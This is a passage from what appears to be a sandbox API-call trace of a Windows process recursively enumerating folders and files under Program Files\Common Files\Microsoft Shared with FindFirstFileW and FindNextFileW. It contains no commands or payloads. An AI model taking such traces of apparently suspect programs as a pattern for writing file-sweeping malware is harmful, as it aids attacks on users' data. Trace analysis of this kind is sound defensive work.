| out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb62804e0, ftCreationTime.dwHighDateTime=0x1d839a6, ftLastAccessTime.dwLowDateTime=0x34d39f10, ftLastAccessTime.dwHighDateTime=0x1d89e61, ftLastWriteTime.dwLowDateTime=0x34d39f10, ftLastWriteTime.dwHighDateTime=0x1d89e61, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="employee.exe", cAlternateFileName="")) returned 1 [0052.990] GetLastError () returned 0x12 [0052.990] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388bfe90, ftCreationTime.dwHighDateTime=0x1d8b31a, ftLastAccessTime.dwLowDateTime=0x52564380, ftLastAccessTime.dwHighDateTime=0x1d8b36a, ftLastWriteTime.dwLowDateTime=0x52564380, ftLastWriteTime.dwHighDateTime=0x1d8b36a, nFileSizeHigh=0x0, nFileSizeLow=0x126eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EycKgld_uIVGhuCKmRk2.png", cAlternateFileName="EYCKGL~1.PNG")) returned 1 [0052.990] GetLastError () returned 0x12 [0052.990] FindNextFileW (in: hFindFile=0x4d8760, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0052.990] GetLastError () returned 0x12 [0052.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87a0 [0052.990] FindNextFileW (in: hFindFile=0x4d87a0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9081a40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd9081a40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.990] FindNextFileW (in: hFindFile=0x4d87a0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0052.990] GetLastError () returned 0x12 [0052.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0052.990] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.991] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x175dffd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4f0d7880, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4f0d7880, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.991] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0052.991] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0052.991] FindNextFileW (in: hFindFile=0x4d87a0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b72b80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91d86a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91d86a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0052.991] GetLastError () returned 0x12 [0052.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b72b80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91d86a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91d86a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0052.991] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8b72b80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91d86a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91d86a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.991] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8c31260, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0xa6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0052.991] GetLastError () returned 0x12 [0052.991] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8f9d200, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x13aed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0052.991] GetLastError () returned 0x12 [0052.991] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd8fc3360, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x187ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0052.991] GetLastError () returned 0x12 [0052.991] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x5d12c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0052.992] GetLastError () returned 0x12 [0052.992] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261ab200, ftCreationTime.dwHighDateTime=0x1d0cb6a, ftLastAccessTime.dwLowDateTime=0xd9270c20, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x261ab200, ftLastWriteTime.dwHighDateTime=0x1d0cb6a, nFileSizeHigh=0x0, nFileSizeLow=0x5d12c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0052.992] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0052.992] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0052.992] FindNextFileW (in: hFindFile=0x4d87a0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0052.992] GetLastError () returned 0x12 [0052.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0053.913] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.913] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0053.914] GetLastError () returned 0x12 [0053.914] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0053.914] GetLastError () returned 0x12 [0053.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.023] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.023] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.023] GetLastError () returned 0x12 [0054.023] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.023] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.023] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.023] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0054.023] GetLastError () returned 0x12 [0054.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.024] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.024] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.024] GetLastError () returned 0x12 [0054.024] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.024] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.024] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.024] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0054.024] GetLastError () returned 0x12 [0054.024] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0054.024] GetLastError () returned 0x12 [0054.024] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0054.024] GetLastError () returned 0x12 [0054.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.025] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.025] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.025] GetLastError () returned 0x12 [0054.025] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.025] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.025] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.025] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0054.025] GetLastError () returned 0x12 [0054.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.026] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.026] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.026] GetLastError () returned 0x12 [0054.026] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, 